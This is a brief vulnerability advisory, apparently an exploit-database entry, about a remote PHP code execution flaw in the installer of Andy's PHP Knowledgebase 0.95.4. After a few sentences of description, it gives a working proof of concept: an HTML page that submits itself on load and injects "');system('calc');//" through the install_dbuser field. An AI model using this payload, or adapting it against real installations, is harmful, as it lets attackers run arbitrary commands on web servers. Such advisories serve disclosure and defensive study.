source: https://www.securityfocus.com/bid/47918/info
Andy's PHP Knowledgebase is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.
Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.
Andy's PHP Knowledgebase 0.95.4is vulnerable; other versions may also be affected.<html><body onload="document.forms[0].submit()"><form method="POST" action="http://localhost/aphpkb/install/step5.php"><inputtype="hidden" name="install_dbuser" value="');system('calc');//"/><inputtype="submit" name="submit"/></form></body></html>